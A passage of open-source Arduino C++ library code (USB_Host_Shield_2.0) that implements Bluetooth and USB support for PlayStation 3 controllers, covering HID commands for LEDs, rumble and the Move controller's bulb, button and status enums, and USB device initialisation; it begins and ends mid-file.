BULK_MAXPKTSIZE); // Reset l2cap in buffer as it sometimes read it as a button has been pressed\n                                for(uint8_t i = 15; i < 19; i++)\n                                        l2capinbuf[i] = 0x7F; // Set the analog joystick values to center position\n                                enable_sixaxis();\n                                l2cap_state = TURN_ON_LED;\n                                timer = (uint32_t)millis();\n                        }\n                        break;\n\n                case TURN_ON_LED:\n                        if((int32_t)((uint32_t)millis() - timer) > 1000) { // loop 1 second before sending the command\n                                if(remote_name_first == 'P') { // First letter in PLAYSTATION(R)3 Controller ('P')\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nDualshock 3 Controller Enabled\\r\\n\"), 0x80);\n#endif\n                                        PS3Connected = true;\n                                } else if(remote_name_first == 'N') { // First letter in Navigation Controller ('N')\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nNavigation Controller Enabled\\r\\n\"), 0x80);\n#endif\n                                        PS3NavigationConnected = true;\n                                } else if(remote_name_first == 'M') { // First letter in Motion Controller ('M')\n                                        timer = (uint32_t)millis();\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nMotion Controller Enabled\\r\\n\"), 0x80);\n#endif\n                                        PS3MoveConnected = true;\n                                }\n                                ButtonState = 0; // Clear all values\n                                OldButtonState = 0;\n                                ButtonClickState = 0;\n\n                                onInit(); // Turn on the LED on the controller\n                                l2cap_state = L2CAP_DONE;\n                        }\n                        break;\n\n                case L2CAP_DONE:\n                        if(PS3MoveConnected) { // The Bulb and rumble values, has to be send at approximately every 5th second for it to stay on\n                                if((int32_t)((uint32_t)millis() - timer) > 4000) { // Send at least every 4th second\n                                        HIDMove_Command(HIDMoveBuffer, HID_BUFFERSIZE); // The Bulb and rumble values, has to be written again and again, for it to stay turned on\n                                        timer = (uint32_t)millis();\n                                }\n                        }\n                        break;\n        }\n}\n\n/************************************************************/\n/*                    HID Commands                          */\n/************************************************************/\n\n// Playstation Sixaxis Dualshock and Navigation Controller commands\n\nvoid PS3BT::HID_Command(uint8_t* data, uint8_t nbytes) {\n        if((int32_t)((uint32_t)millis() - timerHID) <= 150) // Check if is has been more than 150ms since last command\n                delay((uint32_t)(150 - ((uint32_t)millis() - timerHID))); // There have to be a delay between commands\n        pBtd->L2CAP_Command(hci_handle, data, nbytes, control_scid[0], control_scid[1]); // Both the Navigation and Dualshock controller sends data via the control channel\n        timerHID = (uint32_t)millis();\n}\n\nvoid PS3BT::setAllOff() {\n        HIDBuffer[3] = 0x00; // Rumble bytes\n        HIDBuffer[4] = 0x00;\n        HIDBuffer[5] = 0x00;\n        HIDBuffer[6] = 0x00;\n\n        HIDBuffer[11] = 0x00; // LED byte\n\n        HID_Command(HIDBuffer, HID_BUFFERSIZE);\n}\n\nvoid PS3BT::setRumbleOff() {\n        uint8_t rumbleBuf[HID_BUFFERSIZE];\n        memcpy(rumbleBuf, HIDBuffer, HID_BUFFERSIZE);\n        rumbleBuf[3] = 0x00;\n        rumbleBuf[4] = 0x00;\n        rumbleBuf[5] = 0x00;\n        rumbleBuf[6] = 0x00;\n        HID_Command(rumbleBuf, HID_BUFFERSIZE);\n}\n\nvoid PS3BT::setRumbleOn(RumbleEnum mode) {\n        uint8_t power[2] = {0xff, 0x00}; // Defaults to RumbleLow\n        if(mode == RumbleHigh) {\n                power[0] = 0x00;\n                power[1] = 0xff;\n        }\n        setRumbleOn(0xfe, power[0], 0xfe, power[1]);\n}\n\nvoid PS3BT::setRumbleOn(uint8_t rightDuration, uint8_t rightPower, uint8_t leftDuration, uint8_t leftPower) {\n        uint8_t rumbleBuf[HID_BUFFERSIZE];\n        memcpy(rumbleBuf, HIDBuffer, HID_BUFFERSIZE);\n        rumbleBuf[3] = rightDuration;\n        rumbleBuf[4] = rightPower;\n        rumbleBuf[5] = leftDuration;\n        rumbleBuf[6] = leftPower;\n        HID_Command(rumbleBuf, HID_BUFFERSIZE);\n}\n\nvoid PS3BT::setLedRaw(uint8_t value) {\n        HIDBuffer[11] = value << 1;\n        HID_Command(HIDBuffer, HID_BUFFERSIZE);\n}\n\nvoid PS3BT::setLedOff(LEDEnum a) {\n        HIDBuffer[11] &= ~((uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1));\n        HID_Command(HIDBuffer, HID_BUFFERSIZE);\n}\n\nvoid PS3BT::setLedOn(LEDEnum a) {\n        if(a == OFF)\n                setLedRaw(0);\n        else {\n                HIDBuffer[11] |= (uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1);\n                HID_Command(HIDBuffer, HID_BUFFERSIZE);\n        }\n}\n\nvoid PS3BT::setLedToggle(LEDEnum a) {\n        HIDBuffer[11] ^= (uint8_t)((pgm_read_byte(&PS3_LEDS[(uint8_t)a]) & 0x0f) << 1);\n        HID_Command(HIDBuffer, HID_BUFFERSIZE);\n}\n\nvoid PS3BT::enable_sixaxis() { // Command used to enable the Dualshock 3 and Navigation controller to send data via Bluetooth\n        uint8_t cmd_buf[6];\n        cmd_buf[0] = 0x53; // HID BT Set_report (0x50) | Report Type (Feature 0x03)\n        cmd_buf[1] = 0xF4; // Report ID\n        cmd_buf[2] = 0x42; // Special PS3 Controller enable commands\n        cmd_buf[3] = 0x03;\n        cmd_buf[4] = 0x00;\n        cmd_buf[5] = 0x00;\n\n        HID_Command(cmd_buf, 6);\n}\n\n// Playstation Move Controller commands\n\nvoid PS3BT::HIDMove_Command(uint8_t* data, uint8_t nbytes) {\n        if((int32_t)((uint32_t)millis() - timerHID) <= 150)// Check if is has been less than 150ms since last command\n                delay((uint32_t)(150 - ((uint32_t)millis() - timerHID))); // There have to be a delay between commands\n        pBtd->L2CAP_Command(hci_handle, data, nbytes, interrupt_scid[0], interrupt_scid[1]); // The Move controller sends it's data via the intterrupt channel\n        timerHID = (uint32_t)millis();\n}\n\nvoid PS3BT::moveSetBulb(uint8_t r, uint8_t g, uint8_t b) { // Use this to set the Color using RGB values\n        // Set the Bulb's values into the write buffer\n        HIDMoveBuffer[3] = r;\n        HIDMoveBuffer[4] = g;\n        HIDMoveBuffer[5] = b;\n\n        HIDMove_Command(HIDMoveBuffer, HID_BUFFERSIZE);\n}\n\nvoid PS3BT::moveSetBulb(ColorsEnum color) { // Use this to set the Color using the predefined colors in enum\n        moveSetBulb((uint8_t)(color >> 16), (uint8_t)(color >> 8), (uint8_t)(color));\n}\n\nvoid PS3BT::moveSetRumble(uint8_t rumble) {\n#ifdef DEBUG_USB_HOST\n        if(rumble < 64 && rumble != 0) // The rumble value has to at least 64, or approximately 25% (64/255*100)\n                Notify(PSTR(\"\\r\\nThe rumble value has to at least 64, or approximately 25%\"), 0x80);\n#endif\n        // Set the rumble value into the write buffer\n        HIDMoveBuffer[7] = rumble;\n\n        HIDMove_Command(HIDMoveBuffer, HID_BUFFERSIZE);\n}\n\nvoid PS3BT::onInit() {\n        if(pFuncOnInit)\n                pFuncOnInit(); // Call the user function\n        else {\n                if(PS3MoveConnected)\n                        moveSetBulb(Red);\n                else // Dualshock 3 or Navigation controller\n                        setLedOn(static_cast<LEDEnum>(LED1));\n        }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3BT.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _ps3bt_h_\n#define _ps3bt_h_\n\n#include \"BTD.h\"\n#include \"PS3Enums.h\"\n\n#define HID_BUFFERSIZE 50 // Size of the buffer for the Playstation Motion Controller\n\n/**\n * This BluetoothService class implements support for all the official PS3 Controllers:\n * Dualshock 3, Navigation or a Motion controller via Bluetooth.\n *\n * Information about the protocol can be found at the wiki: https://github.com/felis/USB_Host_Shield_2.0/wiki/PS3-Information.\n */\nclass PS3BT : public BluetoothService {\npublic:\n        /**\n         * Constructor for the PS3BT class.\n         * @param  pBtd   Pointer to BTD class instance.\n         * @param  btadr5,btadr4,btadr3,btadr2,btadr1,btadr0\n         * Pass your dongles Bluetooth address into the constructor,\n         * This will set BTD#my_bdaddr, so you don't have to plug in the dongle before pairing with your controller.\n         */\n        PS3BT(BTD *pBtd, uint8_t btadr5 = 0, uint8_t btadr4 = 0, uint8_t btadr3 = 0, uint8_t btadr2 = 0, uint8_t btadr1 = 0, uint8_t btadr0 = 0);\n\n        /** @name BluetoothService implementation */\n        /** Used this to disconnect any of the controllers. */\n        void disconnect();\n        /**@}*/\n\n        /** @name PS3 Controller functions */\n        /**\n         * getButtonPress(ButtonEnum b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(ButtonEnum b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b),\n         * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b).\n         * @param  b          ::ButtonEnum to read.\n         * @return            getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press.\n         */\n        bool getButtonPress(ButtonEnum b);\n        bool getButtonClick(ButtonEnum b);\n        /**@}*/\n        /** @name PS3 Controller functions */\n        /**\n         * Used to get the analog value from button presses.\n         * @param  a The ::ButtonEnum to read.\n         * The supported buttons are:\n         * ::UP, ::RIGHT, ::DOWN, ::LEFT, ::L1, ::L2, ::R1, ::R2,\n         * ::TRIANGLE, ::CIRCLE, ::CROSS, ::SQUARE, and ::T.\n         * @return   Analog value in the range of 0-255.\n         */\n        uint8_t getAnalogButton(ButtonEnum a);\n        /**\n         * Used to read the analog joystick.\n         * @param  a ::LeftHatX, ::LeftHatY, ::RightHatX, and ::RightHatY.\n         * @return   Return the analog value in the range of 0-255.\n         */\n        uint8_t getAnalogHat(AnalogHatEnum a);\n        /**\n         * Used to read the sensors inside the Dualshock 3 and Move controller.\n         * @param  a\n         * The Dualshock 3 has a 3-axis accelerometer and a 1-axis gyro inside.\n         * The Move controller has a 3-axis accelerometer, a 3-axis gyro, a 3-axis magnetometer\n         * and a temperature sensor inside.\n         * @return   Return the raw sensor value.\n         */\n        int16_t getSensor(SensorEnum a);\n        /**\n         * Use this to get ::Pitch and ::Roll calculated using the accelerometer.\n         * @param  a Either ::Pitch or ::Roll.\n         * @return   Return the angle in the range of 0-360.\n         */\n        float getAngle(AngleEnum a);\n        /**\n         * Read the sensors inside the Move controller.\n         * @param  a ::aXmove, ::aYmove, ::aZmove, ::gXmove, ::gYmove, ::gZmove, ::mXmove, ::mYmove, and ::mXmove.\n         * @return   The value in SI units.\n         */\n        float get9DOFValues(SensorEnum a);\n        /**\n         * Get the status from the controller.\n         * @param  c The ::StatusEnum you want to read.\n         * @return   True if correct and false if not.\n         */\n        bool getStatus(StatusEnum c);\n        /** Read all the available statuses from the controller and prints it as a nice formated string. */\n        void printStatusString();\n        /**\n         * Read the temperature from the Move controller.\n         * @return The temperature in degrees Celsius.\n         */\n        String getTemperature();\n\n        /** Used to set all LEDs and rumble off. */\n        void setAllOff();\n        /** Turn off rumble. */\n        void setRumbleOff();\n        /**\n         * Turn on rumble.\n         * @param mode Either ::RumbleHigh or ::RumbleLow.\n         */\n        void setRumbleOn(RumbleEnum mode);\n        /**\n         * Turn on rumble using custom duration and power.\n         * @param rightDuration The duration of the right/low rumble effect.\n         * @param rightPower The intensity of the right/low rumble effect.\n         * @param leftDuration The duration of the left/high rumble effect.\n         * @param leftPower The intensity of the left/high rumble effect.\n         */\n        void setRumbleOn(uint8_t rightDuration, uint8_t rightPower, uint8_t leftDuration, uint8_t leftPower);\n\n        /**\n         * Set LED value without using ::LEDEnum.\n         * @param value See: ::LEDEnum.\n         */\n        void setLedRaw(uint8_t value);\n\n        /** Turn all LEDs off. */\n        void setLedOff() {\n                setLedRaw(0);\n        };\n        /**\n         * Turn the specific LED off.\n         * @param a The ::LEDEnum to turn off.\n         */\n        void setLedOff(LEDEnum a);\n        /**\n         * Turn the specific LED on.\n         * @param a The ::LEDEnum to turn on.\n         */\n        void setLedOn(LEDEnum a);\n        /**\n         * Toggle the specific LED.\n         * @param a The ::LEDEnum to toggle.\n         */\n        void setLedToggle(LEDEnum a);\n\n        /**\n         * Use this to set the Color using RGB values.\n         * @param r,g,b RGB value.\n         */\n        void moveSetBulb(uint8_t r, uint8_t g, uint8_t b);\n        /**\n         * Use this to set the color using the predefined colors in ::ColorsEnum.\n         * @param color The desired color.\n         */\n        void moveSetBulb(ColorsEnum color);\n        /**\n         * Set the rumble value inside the Move controller.\n         * @param rumble The desired value in the range from 64-255.\n         */\n        void moveSetRumble(uint8_t rumble);\n\n        /** Used to get the millis() of the last message */\n        uint32_t getLastMessageTime() {\n                return lastMessageTime;\n        };\n        /**@}*/\n\n        /** Variable used to indicate if the normal Playstation controller is successfully connected. */\n        bool PS3Connected;\n        /** Variable used to indicate if the Move controller is successfully connected. */\n        bool PS3MoveConnected;\n        /** Variable used to indicate if the Navigation controller is successfully connected. */\n        bool PS3NavigationConnected;\n\nprotected:\n        /** @name BluetoothService implementation */\n        /**\n         * Used to pass acldata to the services.\n         * @param ACLData Incoming acldata.\n         */\n        void ACLData(uint8_t* ACLData);\n        /** Used to run part of the state machine. */\n        void Run();\n        /** Use this to reset the service. */\n        void Reset();\n        /**\n         * Called when the controller is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         * This is useful for instance if you want to set the LEDs in a specific way.\n         */\n        void onInit();\n        /**@}*/\n\nprivate:\n\n        void L2CAP_task(); // L2CAP state machine\n\n        /* Variables filled from HCI event management */\n        char remote_name_first; // First letter in remote name\n        bool activeConnection; // Used to indicate if it's already has established a connection\n\n        /* Variables used by high level L2CAP task */\n        uint8_t l2cap_state;\n\n        uint32_t lastMessageTime; // Variable used to store the millis value of the last message.\n\n        uint32_t ButtonState;\n        uint32_t OldButtonState;\n        uint32_t ButtonClickState;\n\n        uint32_t timer; // Timer used to limit time between messages and also used to continuously set PS3 Move controller Bulb and rumble values\n        uint32_t timerHID; // Timer used see if there has to be a delay before a new HID command\n\n        uint8_t l2capinbuf[BULK_MAXPKTSIZE]; // General purpose buffer for L2CAP in data\n        uint8_t HIDBuffer[HID_BUFFERSIZE]; // Used to store HID commands\n        uint8_t HIDMoveBuffer[HID_BUFFERSIZE]; // Used to store HID commands for the Move controller\n\n        /* L2CAP Channels */\n        uint8_t control_scid[2]; // L2CAP source CID for HID_Control\n        uint8_t control_dcid[2]; // 0x0040\n        uint8_t interrupt_scid[2]; // L2CAP source CID for HID_Interrupt\n        uint8_t interrupt_dcid[2]; // 0x0041\n\n        /* HID Commands */\n        void HID_Command(uint8_t* data, uint8_t nbytes);\n        void HIDMove_Command(uint8_t* data, uint8_t nbytes);\n        void enable_sixaxis(); // Command used to enable the Dualshock 3 and Navigation controller to send data via Bluetooth\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3Enums.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#ifndef _ps3enums_h\n#define _ps3enums_h\n\n#include \"controllerEnums.h\"\n\n/** Size of the output report buffer for the Dualshock and Navigation controllers */\n#define PS3_REPORT_BUFFER_SIZE  48\n\n/** Report buffer for all PS3 commands */\nconst uint8_t PS3_REPORT_BUFFER[PS3_REPORT_BUFFER_SIZE] PROGMEM = {\n        0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00,\n        0xff, 0x27, 0x10, 0x00, 0x32,\n        0xff, 0x27, 0x10, 0x00, 0x32,\n        0xff, 0x27, 0x10, 0x00, 0x32,\n        0xff, 0x27, 0x10, 0x00, 0x32,\n        0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00,\n        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n};\n\n/** Size of the output report buffer for the Move Controller */\n#define MOVE_REPORT_BUFFER_SIZE 7\n\n/** Used to set the LEDs on the controllers */\nconst uint8_t PS3_LEDS[] PROGMEM = {\n        0x00, // OFF\n        0x01, // LED1\n        0x02, // LED2\n        0x04, // LED3\n        0x08, // LED4\n\n        0x09, // LED5\n        0x0A, // LED6\n        0x0C, // LED7\n        0x0D, // LED8\n        0x0E, // LED9\n        0x0F, // LED10\n};\n\n/**\n * Buttons on the controllers.\n * <B>Note:</B> that the location is shifted 9 when it's connected via USB.\n */\nconst uint32_t PS3_BUTTONS[] PROGMEM = {\n        0x10, // UP\n        0x20, // RIGHT\n        0x40, // DOWN\n        0x80, // LEFT\n\n        0x01, // SELECT\n        0x08, // START\n        0x02, // L3\n        0x04, // R3\n\n        0x0100, // L2\n        0x0200, // R2\n        0x0400, // L1\n        0x0800, // R1\n\n        0x1000, // TRIANGLE\n        0x2000, // CIRCLE\n        0x4000, // CROSS\n        0x8000, // SQUARE\n\n        0x010000, // PS\n        0x080000, // MOVE - covers 12 bits - we only need to read the top 8\n        0x100000, // T - covers 12 bits - we only need to read the top 8\n};\n\n/**\n * Analog buttons on the controllers.\n * <B>Note:</B> that the location is shifted 9 when it's connected via USB.\n */\nconst uint8_t PS3_ANALOG_BUTTONS[] PROGMEM = {\n        23, // UP_ANALOG\n        24, // RIGHT_ANALOG\n        25, // DOWN_ANALOG\n        26, // LEFT_ANALOG\n        0, 0, 0, 0, // Skip SELECT, L3, R3 and START\n\n        27, // L2_ANALOG\n        28, // R2_ANALOG\n        29, // L1_ANALOG\n        30, // R1_ANALOG\n        31, // TRIANGLE_ANALOG\n        32, // CIRCLE_ANALOG\n        33, // CROSS_ANALOG\n        34, // SQUARE_ANALOG\n        0, 0, // Skip PS and MOVE\n\n        // Playstation Move Controller\n        15, // T_ANALOG - Both at byte 14 (last reading) and byte 15 (current reading)\n};\n\nenum StatusEnum {\n        // Note that the location is shifted 9 when it's connected via USB\n        // Byte location | bit location\n        Plugged = (38 << 8) | 0x02,\n        Unplugged = (38 << 8) | 0x03,\n\n        Charging = (39 << 8) | 0xEE,\n        NotCharging = (39 << 8) | 0xF1,\n        Shutdown = (39 << 8) | 0x01,\n        Dying = (39 << 8) | 0x02,\n        Low = (39 << 8) | 0x03,\n        High = (39 << 8) | 0x04,\n        Full = (39 << 8) | 0x05,\n\n        MoveCharging = (21 << 8) | 0xEE,\n        MoveNotCharging = (21 << 8) | 0xF1,\n        MoveShutdown = (21 << 8) | 0x01,\n        MoveDying = (21 << 8) | 0x02,\n        MoveLow = (21 << 8) | 0x03,\n        MoveHigh = (21 << 8) | 0x04,\n        MoveFull = (21 << 8) | 0x05,\n\n        CableRumble = (40 << 8) | 0x10, // Operating by USB and rumble is turned on\n        Cable = (40 << 8) | 0x12, // Operating by USB and rumble is turned off\n        BluetoothRumble = (40 << 8) | 0x14, // Operating by Bluetooth and rumble is turned on\n        Bluetooth = (40 << 8) | 0x16, // Operating by Bluetooth and rumble is turned off\n};\n\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/PS3USB.cpp",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n */\n\n#include \"PS3USB.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report send by the PS3 Controllers\n\nPS3USB::PS3USB(USB *p, uint8_t btadr5, uint8_t btadr4, uint8_t btadr3, uint8_t btadr2, uint8_t btadr1, uint8_t btadr0) :\npUsb(p), // pointer to USB class instance - mandatory\nbAddress(0), // device address - mandatory\nbPollEnable(false) // don't start polling before dongle is connected\n{\n        for(uint8_t i = 0; i < PS3_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n\n        if(pUsb) // register in USB subsystem\n                pUsb->RegisterDeviceClass(this); //set devConfig[] entry\n\n        my_bdaddr[5] = btadr5; // Change to your dongle's Bluetooth address instead\n        my_bdaddr[4] = btadr4;\n        my_bdaddr[3] = btadr3;\n        my_bdaddr[2] = btadr2;\n        my_bdaddr[1] = btadr1;\n        my_bdaddr[0] = btadr0;\n}\n\nuint8_t PS3USB::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint16_t PID;\n        uint16_t VID;\n\n        // get memory address of USB device address pool\n        AddressPool &addrPool = pUsb->GetAddressPool();\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nPS3USB Init\"), 0x80);\n#endif\n        // check if address has already been assigned to an instance\n        if(bAddress) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress in use\"), 0x80);\n#endif\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n        }\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        if(!p->epinfo) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nepinfo is null\"), 0x80);\n#endif\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        VID = udd->idVendor;\n        PID = udd->idProduct;\n\n        if(VID != PS3_VID || (PID != PS3_PID && PID != PS3NAVIGATION_PID && PID != PS3MOVE_PID))\n                goto FailUnknownDevice;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nsetAddr: \"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n#endif\n                return rcode;\n        }\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nAddr: \"), 0x80);\n        D_PrintHex<uint8_t > (bAddress, 0x80);\n#endif\n        //delay(300); // Spec says you should wait at least 200ms\n\n        p->lowspeed = false;\n\n        //get pointer to assigned address record\n        p = addrPool.GetUsbDevicePtr(bAddress);\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        // Assign epInfo to epinfo pointer - only EP0 is known\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n\n        /* The application will work in reduced host mode, so we can save program and data\n           memory space. After verifying the PID and VID we will use known values for the\n           configuration values for device, interface, endpoints and HID for the PS3 Controllers */\n\n        /* Initialize data structures for endpoints of device */\n        epInfo[ PS3_OUTPUT_PIPE ].epAddr = 0x02; // PS3 output endpoint\n        epInfo[ PS3_OUTPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ PS3_OUTPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ PS3_OUTPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ PS3_OUTPUT_PIPE ].bmSndToggle = 0;\n        epInfo[ PS3_OUTPUT_PIPE ].bmRcvToggle = 0;\n        epInfo[ PS3_INPUT_PIPE ].epAddr = 0x01; // PS3 report endpoint\n        epInfo[ PS3_INPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ PS3_INPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ PS3_INPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ PS3_INPUT_PIPE ].bmSndToggle = 0;\n        epInfo[ PS3_INPUT_PIPE ].bmRcvToggle = 0;\n\n        rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        delay(200); //Give time for address change\n\n        rcode = pUsb->setConf(bAddress, epInfo[ PS3_CONTROL_PIPE ].epAddr, 1);\n        if(rcode)\n                goto FailSetConfDescr;\n\n        if(PID == PS3_PID || PID == PS3NAVIGATION_PID) {\n                if(PID == PS3_PID) {\n#ifdef DEBUG_USB_HOST\n                        Notify(PSTR(\"\\r\\nDualshock 3 Controller Connected\"), 0x80);\n#endif\n                        PS3Connected = true;\n                } else { // must be a navigation controller\n#ifdef DEBUG_USB_HOST\n                        Notify(PSTR(\"\\r\\nNavigation Controller Connected\"), 0x80);\n#endif\n                        PS3NavigationConnected = true;\n                }\n                enable_sixaxis(); // The PS3 controller needs a special command before it starts sending data\n\n                // Needed for PS3 Dualshock and Navigation commands to work\n                for(uint8_t i = 0; i < PS3_REPORT_BUFFER_SIZE; i++)\n                        writeBuf[i] = pgm_read_byte(&PS3_REPORT_BUFFER[i]);\n\n                for(uint8_t i = 6; i < 10; i++)\n                        readBuf[i] = 0x7F; // Set the analog joystick values to center position\n        } else { // must be a Motion controller\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nMotion Controller Connected\"), 0x80);\n#endif\n                PS3MoveConnected = true;\n                writeBuf[0] = 0x02; // Set report ID, this is needed for Move commands to work\n        }\n        if(my_bdaddr[0] != 0x00 || my_bdaddr[1] != 0x00 || my_bdaddr[2] != 0x00 || my_bdaddr[3] != 0x00 || my_bdaddr[4] != 0x00 || my_bdaddr[5] != 0x00) {\n                if(PS3MoveConnected)\n                        setMoveBdaddr(my_bdaddr); // Set internal Bluetooth address\n                else\n                        setBdaddr(my_bdaddr); // Set internal Bluetooth address\n\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nBluetooth Address was set to: \"), 0x80);\n                for(int8_t i = 5; i > 0; i--) {\n                        D_PrintHex<uint8_t > (my_bdaddr[i], 0x80);\n                        Notify(PSTR(\":\"), 0x80);\n                }\n                D_PrintHex<uint8_t > (my_bdaddr[0], 0x80);\n#endif\n        }\n        onInit();\n\n        bPollEnable = true;\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n        timer = (uint32_t)millis();\n        return 0; // Successful configuration\n\n        /* Diagnostic messages */\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n#endif\n        goto Fail;\n\nFailUnknownDevice:\n#ifdef DEBUG_USB_HOST\n        NotifyFailUnknownDevice(VID, PID);\n#endif\n        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\nFail:\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nPS3 Init Failed, error code: \"), 0x80);\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\n/* Performs a cleanup after failed Init() attempt */\nuint8_t PS3USB::Release() {\n        PS3Connected = false;\n        PS3MoveConnected = false;\n        PS3NavigationConnected = false;\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n        bAddress = 0;\n        bPollEnable = false;\n        return 0;\n}\n\nuint8_t PS3USB::Poll() {\n        